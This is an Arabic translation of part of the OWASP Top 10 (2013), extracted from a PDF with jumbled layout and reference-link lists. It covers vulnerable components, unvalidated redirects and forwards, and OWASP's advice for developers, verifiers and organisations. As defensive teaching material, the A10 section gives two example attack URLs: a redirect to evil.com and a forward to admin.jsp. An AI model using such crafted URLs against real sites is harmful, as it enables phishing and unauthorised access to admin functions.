قواعدًالبياناتًهذه،ًبالإضافةًإلىًمتابعةًالإعلاناتًوالقوائمًالبريديةًالمرتبطةً

فيًحالًإصابةًأحدًمكوناتكً. بالمشروعًلمعرفةًماًإذاًتمًظهورًأيًثغراتًأمنية
بالفعل،ًوذلكًمنًخلالً بثغرةًأمنية،ًفعليكًوبحذرًتقييمًماًإذاًكنتًمصاباً 

التحققًمنًنصكًالبرمجيًإنًكانًيستخدمًالجزءًالمصابًمنًالمكونًوتقييمً
 .مدىًتأثيرًالثغرةًالأمنيةًعليك

 مراجع
 :أواسب

• OWASP Dependency Check (for Java libraries) 

• OWASP SafeNuGet (for .NET libraries thru NuGet) 

• Good Component Practices Project 

 خارجيةروابط 

• The Unfortunate Reality of Insecure Libraries 

• Open Source Software Security 

• Addressing Security Concerns in Open Source 
Components 

• MITRE Common Vulnerabilities and Exposures 

• Example Mass Assignment Vulnerability that was fixed 
in ActiveRecord, a Ruby on Rails GEM 

 

 
 كيف أمنع هذه الثغرة؟

لكنًالأمرًهذاً. أحدًالخياراتًهيًبعدمًإستخدامًأيًمكوناتًلمًتقمًأنتًبكتابتها
 .غيرًواقعي

معظمًمشاريعًالمكوناتًلاتقومًبإصدارًترقيعاتًللثغراتًالأمنيةًفيًالإصداراتً
عنًذلك،ًتقومًبإصلاحًالمشكلةًفيًالنسخةًالتالية. القديمة لذاًمنًالمهمًجداً . بدلاً 

يجبًأنًتكونًهناكًإجراءاتًفيً. ترقيةًالمكوناتًإلىًالإصداراتًالجديدة
 :المشاريعًالبرمجيةًبحيثًتقومًبمايلي

تحديدًجميعًالمكوناتًالمستخدمةًمعًإصداراتها،ًبماًفيًذلكًجميعًالتوابع1ً.
 (.الإضافاتًاصداراتمثلً)

متابعةًالحالةًالأمنيةًلهذهًالمكوناتًفيًقواعدًالبياناتًالعامة،ًوالقوائم2ً.
 .البريديةًللمشروع،ًوالقوائمًالبريديةًالأمنية،ًمعًمراعاةًتحديثهاًدوريا ً

إنشاءًسياساتًأمنيةًلحوكمةًإستخدامًالمكونات،ًمثلًالمطالبةًبإتباع3ً.
ممارساتًمعينةًخلالًتطويرًالبرامج،ًوإجتيازًاالإختباراتًالأمنية،ً

 .والترخيصاتًالمسموحًبها

حولًً"Security wrappers"عندماًيقتضيًالأمر،ًأضفًطبقاتًأمنية4ً.
أوًلتأمينًجوانبًمنً/المكوناتًوذلكًلتعطيلًالوظائفًالغيرًمستخدمةًو

 .المكوناتًالمصابةًبثغراتًأمنية

 الضعف معروفة مكونات إستخدام
[Using Components with Known Vulnerabilities] 

A9 
 الضعف نقاط
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  مؤشرات
 الهجوم

 التأثيرات
  عوامل التقنية

 التهديد

 التأثيرات
 العمل على

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451
http://www.infosecurity-magazine.com/view/30282/remote-code-vulnerability-in-spring-framework-for-java/
http://www.infosecurity-magazine.com/view/30282/remote-code-vulnerability-in-spring-framework-for-java/
http://cve.mitre.org/
http://nvd.nist.gov/home.cfm
http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://github.com/OWASP/SafeNuGet
https://www.owasp.org/index.php/OWASP_Good_Component_Practices_Project
http://www.owasp.org/index.php/Command_Injection
https://www.aspectsecurity.com/uploads/downloads/2012/03/Aspect-Security-The-Unfortunate-Reality-of-Insecure-Libraries.pdf
http://en.wikipedia.org/wiki/Open_source_software_security
http://www.sonatype.com/content/download/1025/10060/file/sonatype_executive_security_brief_final.pdf
http://www.sonatype.com/content/download/1025/10060/file/sonatype_executive_security_brief_final.pdf
http://cve.mitre.org/
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-0277
http://mojo.codehaus.org/versions-maven-plugin/


 /خصائص التطبيق

 العمل

 التأثير

 متوسط

 الإكتشاف

 سهل

 الإنتشار

 غير شائع

 إمكانية الإستغلال

 متوسط
 خصائص التطبيق

قيمةًًخذًفيًالإعتبار
المحافظةًعلىًثقةً

 (.العملاء)المستخدمينً

ماذاًسيحدثًإذاًتمً
إختراقهمًبسببًإصابتهمً

 ببرامجًضارة؟

ماذاًسيحدثًلوًتمكنً
المخترقًمنًالوصولًإلىً
وظائفًداخليةًغيرًمخولً

 لهًالوصولًلها؟

 

التوجيهًهذهًقدًًعملياتًإعادة
تكونًسببًفيًالإصابةً

بالبرامجًالضارة،ًأوًخداعً
المستخدمًلكشفًكلماتً

المرورًأوًمعلوماتًحساسةً
عملياتًالإرسالً. أخرى

الغيرًآمنةًقدًتسمحًللمخترقً
للوصولًإلىًصفحاتًغيرً

 .مخولًلهًالوصولًلها

 

تقومًمعظمًالتطبيقاتًبإعادةًتوجيهًالمستخدمينًإلىً
أوًاستخدامًعمليةًالإرسالًداخلياً ًصفحاتًأخرى،
أحيانا ،ًيتمًتحديدًصفحاتًالوجهةًعبرً. بنفسًالطريقة

مماًتسمحًآمنة،ًغيرًً"parameters"متغيراتً
 .للمخترقينًبإعادةًتحديدًهذهًالصفحات

.  آمنةمنًالسهلًإكتشافًعملياتًإعادةًالتوجيهًالغيرً
إبحثًعنًعملياتًإعادةًالتوجيهًوالتيًيمكنًلكًضبطً

إكتشافًعملياتًالإرسالًالغيرً. وتحديدًالعنوانًكاملا ً
 .،ًوذلكًلأنهاًتستهدفًصفحاتًداخليةآمنةًأصعب

يقومًالمخترقًبوضعً
رابطًإعادةًتوجيهًغيرً

 unvalidated"محققً
redirect"ًًويقومًبخداع

المستخدمًللضغطًعلىًهذاً
يميلًالضحيةً. الرابط

للضغطًعلىًالرابطً
لظهورهًلهمًبأنهًموقعً

يقومً(. أوًصحيح)موثوقً
المخترقًبإستهدافً
عملياتًالإرسالً

"forward"ًًالغيرًآمنة
الدفاعاتًبغرضًتخطيً

   .الأمنية

 يا أن الإعتبار في خذ
خداعً هيمكن شخص

عملائكًبجعلهمًيرسلونً
طلباتًإلىًموقعكً

أيًموقعً. الإلكتروني
إلكترونيًأوًأيًملقمً

(HTML)ًًيستخدمه
المستخدمًبإستطاعتهًفعلً

 .  ذلك

 الإختراق لكيفية أمثلة
والتيًتستقبلًً”redirect.jsp“يحتويًالتطبيقًعلىًصفحةًاسمهاً :الأولالمثال 

يقومًالمخترقًبصياغةًعنوانًضارًوالذيًيقومً.  ”:url“متغيرًواحدًاسمهً
بإعادةًتوجيهًالمستخدمينًإلىًمواقعًخبيثةًللإصطيادًالإلكترونيًأوًللإصابةً

 .بالبرامجًالضارة

  http://www.example.com/redirect.jsp?url=evil.com  

لتسييرًالطلباتًبينًً"forward"يستخدمًالتطبيقًعمليةًإرسالً :الثانيالمثال 
لتسهيلًهذهًالعملية،ًتستخدمًبعضًالصفحاتً. جزئينًمنًالموقعًالإلكتروني

فيًهذهًالحالة،ًيقومً. متغيرًللإشارةًإلىًصفحةًالوجهةًفيًحالًنجاحًالعملية
المخترقًبصياغةًعنوانًيسمحًلهًتخطيًعمليةًتحققًالتطبيقًمنًصلاحيةً

الوصول،ًوالتيًبدورهاًستقومًًبإرسالًالمخترقًإلىًوظائفًإداريةًغيرًمخولً
 .لهًالوصولًإليها

  http://www.example.com/boring.jsp?fwd=admin.jsp 

 

 أنا معرض لهذه الثغرة؟هل 
الطريقةًالمثلىًلمعرفةًماًإذاًكانًالتطبيقًيحتويًعلىًعملياتًإعادةًتوجيهًأوً

 :إرسالًغيرًمحققًهيًعبرًتنفيذًالتالي

قمًبمراجعةًالنصًالبرمجيًللتحققًمنًصحةًإستخدامًعملياتًإعادة1ً.
يطلقًعلىًهذهًالعملياتًبـNETًً.فيًبيئةًالـً)التوجيهًوالإرسالً

transfer .)ًفيًكلًحالةًاستخدام،ًإذاًتمًتحديدًصفحاتًالوجهةًعبرًقيم
البيضاءًمتغيرات،ًولمًيتمًالتحققًمنًعنوانًالصفحةًضمنًالقوائمً

"Whitelist"ً،فتطبيقكًمصابًبهذهًالثغرة. 

علىًالموقع؛ًفيًحالًتمكُنًً"spider"كذلك،ًاستخدمًبرامجًالفهرسة2ً.
البرنامجًمنًتكوينًعملياتًإعادةًتوجيه،ًقمًبالنظرًفيًقيمًالمتغيراتًقبلً
إتمامًعمليةًإعادةًالتوجيه،ًلتحديدًماًإذاًكانتًالقيمًتُظهرعنوانًالوجهةً

فيًهذهًالحالة،ًقمًبتغييرًعنوانًالوجهةًوراقب،ًهلً. كاملًأوًجزءًمنها
 .سيتمًإعادةًالتوجيهًللعنوانًالجديد

فيًحالًعدمًإمكانيةًالوصولًإلىًالنصًالبرمجي،ًقمًبفحصًجميع3ً.
التيًتحتويًعلىًعناوينًلعملياتًإعادةًتوجيهًأوًالمتغيراتًوتحديدً

 .إرسال،ًومنًثمًقمًبإختبارها

 مراجع
 :أواسب

• OWASP Article on Open Redirects  

• ESAPI SecurityWrapperResponse sendRedirect() 
method 

 خارجيةروابط 

• CWE Entry 601 on Open Redirects  

• WASC Article on URL Redirector Abuse 

• Google blog article on the dangers of open redirects 

• OWASP Top 10 for .NET article on Unvalidated 
Redirects and Forwards 

 

 
 كيف أمنع هذه الثغرة؟

 :الإستخدامًالآمنًلعملياتًإعادةًالتوجيهًأوًالإرسالًتتمًبعدةًطرق

 .بكلًبساطة،ًتجنبًإستخدامًعملياتًإعادةًالتوجيهًأوًالإرسال1.

لاًتقمًبالإعتمادًعلىًمتغيراتًالمستخدمًلتحديدًفيًحالًاستخدامها،2ً.
 .عادة ًيمكنًفعلًذلك. صفحاتًالوجهة

عندًعدمًإمكانيةًتجنبًاستخدامًمتغيراتًالوجهة،ًتأكدًمنًأنًالقيمة3ً.
 .للمستخدمًمخولةمنهاًوأنهاًًلتحققالمرسلةًتمًا

مماًيُنصحًبهًفيًحالًاستخدامًمتغيراتًالوجهة،ًأنًلايتمًاستخدامًالقيمً 
الحقيقيةًلعناوينًالصفحاتًأوًجزءًمنها،ًبلًيُستعاضًعنهاًبقيمًبديلةًيتمً

منًجانبًالخادم  .مطابقتهاًًوترجمتهاًلاحقاً 

لإعادةًصياغةًالوظيفةًً(ESAPI)يمكنًللتطبيقاتًاستخدامًمشروعً 
) ()sendRedirect(ًًوذلكًللتأكدًمنًسلامةًجميعًوجهاتًإعادة

 .التوجيه

تجنبًهذهًالنوعيةًمنًالثغراتًالأمنية،ًوذلكًلاستخدامهاًمنًقِبلً منًالمهمًجداً 
المخترقينًفيًعملياتًالإصطيادًالإلكترونيًللحصولًعلىًمعلوماتً

 .المستخدمينًالسرية

 محقق الغير التوجيهالإرسال وإعادة 
[Unvalidated Redirects and Forwards] A10 

 الضعف نقاط
 الأمنية

  مؤشرات
 الهجوم

 التأثيرات
  عوامل التقنية

 التهديد

 التأثيرات
 العمل على

http://www.owasp.org/index.php/Command_Injection
https://www.owasp.org/index.php/Open_redirect
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/601.html
http://cwe.mitre.org/data/definitions/601.html
http://cwe.mitre.org/data/definitions/601.html
http://cwe.mitre.org/data/definitions/601.html
http://projects.webappsec.org/URL-Redirector-Abuse
http://googlewebmastercentral.blogspot.com/2009/01/open-redirect-urls-is-your-site-being.html
http://www.troyhunt.com/2011/12/owasp-top-10-for-net-developers-part-10.html
http://www.troyhunt.com/2011/12/owasp-top-10-for-net-developers-part-10.html
http://www.troyhunt.com/2011/12/owasp-top-10-for-net-developers-part-10.html
http://www.troyhunt.com/2011/12/owasp-top-10-for-net-developers-part-10.html
http://www.troyhunt.com/2011/12/owasp-top-10-for-net-developers-part-10.html
http://www.troyhunt.com/2011/12/owasp-top-10-for-net-developers-part-10.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/filters/SecurityWrapperResponse.html


 لإعادة الاستخدام، وأدوات تحكم أمنية معيارية إنشاء واستخدام إجراءات أمنية قابلة

 

ودًمنهاًيمكنًأنًتكونًموجبغضًالنظرًإذاًكنتًمستجدًفيًمجالًأمنًتطبيقاتًالويبًأمًكنتًذوًمعرفةًبهذهًالمخاطرًالأمنية،ًفإنًإنتاجًتطبيقاتًويبًآمنةًأوإصلاحًال

عنًعددًضخمًمنًالتطبيقاتًفإنًهذهًالعمليةًقدًتكونًمهلكةًجدا ً. عمليةًصعبة  .وفيًحالًكنتًمسؤولاً 

 

نًالمصادرًالحرةًوالمجانيةًدًملمساعدةًالمنشآتًوالمطورينًلتقليلًالمخاطرًالأمنيةًالتيًتواجهًالتطبيقاتًوبطريقةًفعالةًمنًناحيةًالتكلفة،ًقامتًأواسبًبإنتاجًالعدي

القائمةًالتاليةًتحتويًبعضًالمصادرًالتيًأنتجتهاًأواسبًلمساعدةًالمنشآتًفيًإنتاجًتطبيقاتًويبً. والتيًيمكنًلهاًانًتساعدكًفيًمعالجةًالمخاطرًالأمنيةًفيًمنشأتك

 .فيًالصفحةًالتالية،ًسنقومًبعرضًمجموعةًإضافيةًمنًالمصادرًالتيًأنتجتهاًأواسبًوالتيًتساعدًالمنشآتًفيًالتحققًمنًأمنًتطبيقاتهم. آمنة

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

والتيًتسردًجميعًمشاريعًمنظمةًأواسب،ًمنظمةًعلىًحسبًجودةًإصدارًًصفحةًمشاريعًأواسبنرجوًزيارةً. تتوفرًالعديدًمنًمصادرًأواسبًالإضافيةًلمساعدتك

 .كنسخةًورقيةًأوًالكترونية،ًوتتوفرًعدةًوثائقًيمكنًطلبهاًالويكيتتوفرًمعظمًمشاريعًأواسبًعلىًصفحةً. المشروع

 D+ ما التالي للمطورين؟

لمعاييرًأواسبًتنصحكًباستخدامًمشروعًأواسبً. تطبيقاتًويبًآمنة،ًيجبًعليكًتعريفًمعنىًالأمنًبالنسبةًللتطبيقًلإنتاج
فيًحالًانجازًالمشاريعًعبرًمواردً. ،ًكدليلًإرشاديًيساعدكًفيًضبطًالمتطلباتًالأمنيةًلتطبيقاتكالتحققًمنًأمنًالتطبيقات

 .ملحقًأواسبًلعقودًالبرمجياتًالآمنةخارجية،ًقمًبمراجعةً

 متطلبات

 أمن  التطبيقات

عنًإقحامًأمنًالمعلوماتًفيًتطبيقاتك،ًفإن هًمنًالأفضلًمنًناحيةًالتكلفةًأنًيتمًالبدءًبالتصميمًالآمنًللتطبيقًمنًعوضاً 
كأدواتًتوجيهيةًأوليةًلكيفيةًالأخذًًأوراقًأواسبًالمساعدةًللحمايةوًًدليلًأواسبًللمطورينتنصحًأواسبًباستخدامً. البداية

 .بالتصميمًالآمنًللتطبيقاتًمنذًالبداية

 هيكلة

 التطبيقات أمن

إنًوجودًمجموعةًمنًأدواتًالتحكمًالأمنيةً. هيًمهمةًصعبةًجدا ًًإنًعمليةًإنشاءًأدواتًتحكمًأمنيةًقويةًومناسبةًللاستخدام
واجهاتًالتطبيقاتًالبرمجيةًالأمنيةًتنصحًأواسبًبمشروعً. عمليةًتطويرًتطبيقاتًآمنة -وبشكلًجذري–المعياريةًستسهلً

المشروعًيقدمًمراجعًتطبيقيةًفيً. ويبًآمنة اللازمةًلإنتاجًتطبيقاتً"APIs"كنموذجًلواجهاتًالتطبيقاتًالبرمجيةًًللمنشآت
 .ColdFusionوPythonًً وClassis ASPًوً PHPوNETًً.وJavaًًالبيئاتًالبرمجيةً

 أدوات التحكم

 الأمنية المعيارية

يساعدًهذاً. بنموذجًأواسبًلنضوجًأمنًالبرمجياتلتحسينًإجراءاتًمنشأتكًفيًتطويرًالتطبيقاتًالآمنة،ًتنصحًأواسبً
النموذجًالمنشآتًفيًصياغةًوتطبيقًاستراتيجيةًأمنًالبرمجياتًبحيثًتكونًمُفصلةًلمواجهةًالمخاطرًالأمنيةًالتيًتواجههاً

 .المنشأة

 دورة حياة

 التطوير الآمنة

يقدمًموادًتدريبيةًتساعدًتعليمًالمطورينًفيًتعلمًأمنًتطبيقاتًالويب،ًويحتويًالمشروعًعلىًقائمةًًمشروعًأواسبًللتعليم
أوًً WebGoatOWASPلتعلمًالمهاراتًالعمليةًعنًالثغراتًالأمنيةًيمكنكًتجربةً. عروضًأواسبًالتعليميةكبيرةًمنً

WebGoat.NETًًمؤتمرًأواسبًلأمنًللبقاءًعلىًإطلاعًبالمستجدات،ًقمًبحضورً. مشروعًأواسبًلتطبيقاتًالويبًالضعيفةأو
 .الاجتماعاتًالدوريةًلفرقًأواسبًالمحلية،ًدوراتًأواسبًالتدريبية،ًأوًحضورًالتطبيقات

 تعليم

 أمن التطبيقات
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 منظما   كن

،ًواختبارًالتطبيقً(فيًحالًتوفره)منًمستوىًالأمنًفيًتطبيقًويبًقمتًانتًبتطويرهًاوًترغبًفيًشراءه،ًأواسبًتوصيًبمراجعةًالنصًالبرمجيًللتطبيقًًللتحقق 

اختبارًالتطبيقًللاختراق،ًكماًانًهذاًيسمحًلكًبكشفًفاعليةًقوةًالطريقتين،ًوكلاًالاسلوبينً. ايضا ً .  لينًلبعضهمامكمأواسبًتوصيًبمراجعةًالنصًالبرمجيًوايضاً 

عنًمحاولةًجعلًعمليةً. الادواتًقدًتساعدًالمحللًالخبيرًاثناءًقيامهًبعمليةًالتحققًبفاعلية ادواتًأواسبًللتقييمًمركزةًعلىًمساعدةًالخبيرًليصبحًاكثرًفاعليةًعوضاً 

 .التحققًآلية

 

لمساعدةًالمنظماتًللحصولًعلىًالتناسقًالمطلوبًوالمستوىًالمطلوبًمنًالدقةًحالًتقييمًمستوىً: إتباعًمعيارًلكيفيةًالتحققًمنًمستوىًالأمنًفيًتطبيقاتًالويب

فًالحدًالأدنىًلمعيارًالتحققًلتقييماتًالمستوىًالأمنيً. معيارًالتحققًمنًمستوىًالأمنًفيًالتطبيقاتأواسبًقدمتً. الأمنًلأحدًتطبيقاتًالويب هذاًالمستندًيعرِّ

أيًًنماأواسبًتوصيًبأنًتستعملًهذاًالمعيارًليسًفقطًلتحديدًإلىًمايجبًالنظرًاليهًاثناءًعمليةًالتحققًمنًالمستوىًالأمنيًلأحدًالتطبيقات،ًوإ. لتطبيقاتًالويب ايضاً 

يساعدكًفيًتعريفًواختيارًمستوىًالدقةًالمطلوبًاثناءًعمليةًالتحققًمنًالمستوىًالأمنيًلاحدًتطبيقاتًالويب. الطرقًهيًالأنسبًللإستخدام أواسبًايضاً . وايضاً 

 .توصيًبإستخدامًهذاًالمعيارًللمساعدةًفيًتعريفًواختيارًأيًخدماتًلتقييمًتطبيقاتًالويبًقدًتطلبهاًمنًطرفًثالث

 

مطورينًالويبًاوًالمختبرينً. يحويًافضلًالادواتًالمفتوحةًالمصدرًفيًاسطوانةًواحدةًقابلةًللتشغيلًاوًفيًبيئةًافتراضيةً Live CDمشروعًاواسب: أدواتًالتقييم

لاًتحتاجًالاسطوانةًالىًتنصيبً. ومحترفيًامنًالمعلوماتًبإمكانهمًتشغيلًهذهًالاسطوانةًاوًتشغيلًالبيئةًالافتراضيةًلهاًوالاستمتاعًبكاملًادواتًالاختبارًالمتوفرة

 .ولاًاعداداتًلاستخدامًهذهًالادواتًالمقدمةًعلىًالاسطوانة

 V+ ما التالي للمحققين

  Code Reviewالنص البرمجي   مراجعة

مراجعةًالنصًالبرمجيًعلىًوجهًالخصوصًمناسبةًللتحققًمنًانًالتطبيقً

تساعدًعلىًايجادً يحتويًآلياتًقويةًلتوفيرًالمستوىًالامنيًالمطلوبًايضاً 

.  فقطالمشكلاتًوالتيًمنًالصعبًايجادهاًبواسطةًاختبارًمخرجاتًالتطبيقً

ومعًذلك،ً. تجربةًاستغلالًالثغرةًهيًالطريقةًالأنسبًللتحققًمنًصحةًوجودها

اسلوبًمنًالاسلوبينًمكملًللاخرًويوجدًهناكًتقاطعًفيًبعضًفإنًكلً

 .الأسلوبينالتفاصيلًفيًكلاً

ودليلًمنًأواسبًلدليلًالمطورينًكمصاحبً: مراجعةًالنصًالبرمجي

قدمتًالمختبرينً دليلًمراجعةًالنصًالبرمجيًمنًأواسب،ًأواسبًايضاً 

لمساعدةًالمطورينًومتخصصيًامنًالتطبيقاتًلفهمًكيفًتكونًمراجعةًالنصً

هنالكًالعديدًمنًمشكلاتًتطبيقاتًالويبًمنً .الويبًبفاعلية البرمجيًلتطبيقاتً

مثلًثغراتًالحقنًوالتيًيتمًاكتشافهاًبسهولةًمنًخلالًمراجعةًالنصًالبرمجيً

 .خلافاًللاختباراتًالخارجيةًعلىًالتطبيق

أواسبًتعملًعلىًمشاريعًواعدةًمنًشأنهاً: ادواتًمراجعةًًالنصًالبرمجي

مساعدةًالخبراءًفيًتحليلًالنصًالبرمجيًولكنًهذهًالادواتًماًزالتًفيًبدايةً

اصحابًهذهًالادواتًيستخدمونًهذهًالادواتًبشكلًيوميًحينماً. الطريق

يقومونًبمراجعةًالنصًالبرمجي،ًولكنًغيرًالخبراءًقدًيجدونًهذهًالادواتً

وهذاًيتضمنًادواتًمنًمثلً. صعبةًبعضًالشيءًفيًالاستخدام

 CodeCrawlerًو Orizon ًً2وO. ً2فقطOًًكانًتحتًمظلةًالتطويرًمنذ

2010. 

هنالكًبعضًالادواتًالاخرىًمجانيةًومفتوحةًالمصدرًلمراجعةًالنصً

واضافتهًالتيًتركزًعلىًالمشكلاتًالامنيةFindBugsًًمنًابرزهاً. البرمجي

FindSecurityBugsًكلاًالاداتينًللغةًالجافا. 

 Penetration Testingاختبار الاختراق 

لمساعدةًالمطورينًًدليلًالمختبرينًأواسبًقدمتً: اختبارًالتطبيقً

والمستخدمينًومتخصصيًامنًالتطبيقاتًلفهمًكيفيةًجعلًعمليةًاختبارًالمستوىً

هذاًالكمًالهائلًمنًالمعلوماتًفيًدليلًالمختبرينًوالذيً. الامنيًللتطبيقاتًفاعلة

قدًحازًعلىًعشراتًمنًالمشاركينًقدمًتغطيةًواسعةًلكثيرًمنًموضوعاتً

كماًانًلمراجعةًالنصًالبرمجيًقوتهً. اختبارًالمستوىًالامنيًلتطبيقاتًالويب

كمًهوًبرهانًقاطعًحينماًتثبتًانً. الخاصةًكذلكًهوًالحالًمعًاختبارًالاختراق

الكثيرًمنً. التطبيقًغيرًآمنًعبرًإعطاءًمثالًبكيفيةًاستغلالًالثغرة هنالكًايضاً 

وجهًالخصوصًالمشكلاتًالتيًمصدرهاًالبنيةًالتحتيةًللتطبيق،ًالمشكلاتًعلىً

هذاًبكلًبساطةًلاًيمكنًالتنبهًلهًفيًمرحلةًمراجعةًالنصًالبرمجيًوهذاًلأنً

 .التطبيقًلاًيقدمًالمستوىًالامنيًالمطلوبًلوحدهًفقط

 

 .والذيًهوًواحدًابرزًمشاريعًأواسبWebScarabً: ادواتًاختبارًالاختراق

لاختبارً -بروكسي-وهوًاشهرًبكثير،ًكلاهماًعبارةًعنًوكيلZAPًًوكذلكً

مثلًهذهًالتطبيقاتًتسمحًلمحلليًالامنًوالمطورينًبقطعًالطريقً. التطبيقات

علىًطلباتًالتطبيقاتًوهذاًيجعلًلديهمًتصورًكاملًعنًكيفيةًعملًالتطبيقً

كانًالتطبيقًيجيبًبشكلًامنًعلىًإذاًطلباتًللتجربةًلمعرفةًماًإرسالًومنًثمً

 .ارسالهكلًطلبًيتمً

 

هذهًالادواتًفعالةًعلىًوجهًالخصوصًفيًالمساعدةًفيًاستكشافًثغراتً

XSSًالبرمجةًعبرًالمواقع،ًثغراتًالتحققًمنًالهوية،ًثغراتًوسائلًالتحكم

 !،ًوكلًهذاًمجانيماسحًداخليلديهZAPًًًبالوصول،ً
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 قم الآن بالبدء في برنامج تأمين التطبيقات 

ونظراًللعددً. فبينًالهجماتًالمتزايدةًضغوطًالمتطلباتًالتنظيمية،ًيجبًعلىًالمؤسساتًأنًيكونًلديهاًالقدرةًعلىًتأمينًتطبيقاتهم. لمًيعدًأمنًالتطبيقاتًاختياريا

توصيًأواسبً. تًالأمنيةغراالهائلًمنًالتطبيقاتًوأسطرًالنصوصًالبرمجيةًالموجودةًبالفعل،ًفإنًالعديدًمنًالمؤسساتًتكافحًمنًأجلًالتعاملًمعًالحجمًالهائلًمنًالث

حيثًأنًتحقيقًتأمينًالتطبيقاتًيتطلبً. بأنًتقومًالمؤسساتًبوضعًبرنامجًتأمينًللتطبيقاتًلاكتسابًالمعرفةًوتحسينًالتأمينًمنًخلالًقائمةًالتطبيقاتًالخاصةًبها

حيثًأنهاًتتطلبًأنًيكونً. فيذيةلتنالعديدًمنًالأقسامًالمختلفةًللعملًمعاًبكفاءة،ًبماًفيًذلكًأمنًالمعلوماتًوالتدقيق،ًوتطويرًالبرمجيات،ًوإداراتًالأعمالًوالإداراتًا

كماًأنهاًتتطلبًأيضاًالتركيزًعلىًالأنشطةًوالنتائجًالتيً. أمنًالمعلوماتًواضحاُ،ًحتىًيتسنىًلمختلفًالجهاتًالفاعلةًأنًتعرفًوتفهمًوضعًأمنًتطبيقاتً​​المؤسسة

وتشملًبعضًالأنشطةًالرئيسيةًفيًبرامجًأمنًالتطبيقاتًالفعالةً. تساعدًفعلاًفيًتحسينًأمنًالمؤسسةًعنًطريقًالحدًمنًالمخاطرًبطريقةًأكثرًفعاليةًمنًحيثًالتكلفة

 :ماًيلي
 

 O+ ما هي الخطوة التالية للمؤسسات

 .واعتمادهًبرنامجًتأمينًللتطبيقاتوضعً•

لتحديدًمجالاتًالتحسينًالرئيسيةًوخطةًًتحليلًالفجواتًفيًالقدراتًمنًخلالًمقارنةًمؤسستكًبالمؤسساتًالمناظرةإجراءً•
 .التنفيذ

 .لتنظيمًتكنولوجياًالمعلوماتًبأكملهًحملةًتوعيةًبأمنًالتطبيقاتالحصولًعلىًموافقةًالإدارةًوعملً•

 البدء

 .الخاصةًبكًمنًمنظورًالمخاطرًالكامنةًًترتيبًأولوياتًقائمةًالتطبيقاتتحديدًو•

 .عملًنموذجًملفًتعريفًبمخاطرًالتطبيقاتًلقياسًوتحديدًأولوياتًالتطبيقاتًفيًمؤسستكً•

 .وضعًإرشاداتًأمنيةًلتحديدًالتغطيةًومستوىًالدقةًالمطلوبًبشكلًصحيح•

 .معًمجموعةًمتسقةًمنًعواملًالاحتمالًوالتأثيرًتنعكسًعلىًاستجابةًمؤسستكًللمخاطرًنموذجًتصنيفًمخاطرًمشتركوضعً•

المنهجية القائمة 
 على المخاطر

 .المركزةًالتيًتوفرًالبنيةًالأساسيةًلتأمينًالتطبيقاتًلجميعًفرقًالتطويرًللالتزامًبهًالسياساتًوالمعاييروضعًمجموعةًمنً•

التيًيمكنًإعادةًاستخدامهاًوالتيًتكملًهذهًالسياساتًوًالمعاييرًوتقدمًتوجيهاتًمجموعةًمشتركةًمنًأدواتًالتحكمًالأمنيةًتحديدً•
 .للتصميمًوالتطويرًعندًاستخدامهاً

 .والذيًيكونًمطلوبًوًمستهدفًلأدوارًوًموضوعاتًالتطويرًالمختلفةًًمنهجًتدريبًعلىًأمنًالتطبيقاتوضعً•

التمكين مع أساس 
 قوي

نماذجًوتشملًهذهًالأنشطةًوضعً. فيًإجراءاتًالتطويرًوالعملياتًالتشغيليةًالحاليةًالتحققوأنشطةًًتنفيذًالتأمينتحديدًوًتكاملً•
،ًواختبارًالاختراق،ًومراجعةًالنصوصالآمنة،ًوالبرمجةًالآمنة،ًًوالمراجعة،ًوالتصميمً"Threat Modeling" للتهديدات
 .والمعالجة

 .لتكونًناجحةًوخدماتًالدعمًفيًالمسائلًالمتعلقةًبأمنًالمعلوماتًلفرقًالتطويرًوالمشاريعتوفيرًخبراءً•

تكامل أمن 
المعلومات مع 
 الإجراءات الحالية

ًعلىًالمقاييسًالمحددةًوتحليلًالبياناتً. عليكًالقيامًبالإدارةًباستخدامًالمقاييس• قمًبإدارةًعملياتًالتحسينًوإتخاذًقراراتًالتمويلًبناء 
وتشملًالمقاييسًمدىًالالتزامًبممارساتًوأنشطةًالتامين،ًوًالثغراتًالأمنيةًالمكتشفة،ًوالتيًتمًمعالجتها،ً. التيًيتمًالحصولًعليها

 ومجالًالتطبيقاتًالتيًتمًتغطيتها،ًوكثافةًالعيوبًحسبًالنوع،ًوعددًمراتًالظهور،ًالخ

قمًبتحليلًالبياناتًخلالًمراحلًالتنفيذًوالتحققًلدراسةًالسببًالجذريًوأنماطًالثغراتًالأمنية،ًوذلكًمنًأجلًوضعًالتحسيناتً•
 .بطريقةًاستراتيجيةًومنهجيةًوتنفيذهاًفيًالمؤسسة

توفير الرؤية 
 الإدارية
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 نتحدث عن المخاطر، لا عن نقاط الضعف

دائماً ً(العشرةًالأوائل -أواسبً)إلاًانًالثغرات،ًركزتًعلىًتحديدًاشهرًًقدً (العشرةًالأوائل -أواسبً)هذاًالمنشورًوالتيًقبلهاًمنًًمن2007ً منًاصداراتًبالرغم

 لعامًً (العشرةًالأوائل -أواسبً). هذاًسببًبعضًسوءًالفهمًخاصةًعلىًبعضًالناسًالذينًيبحثونًعنًتصنيفًمحكمًلنقاطًالضعف. علىًمبدأًالمخاطرًكانتًمنظمة

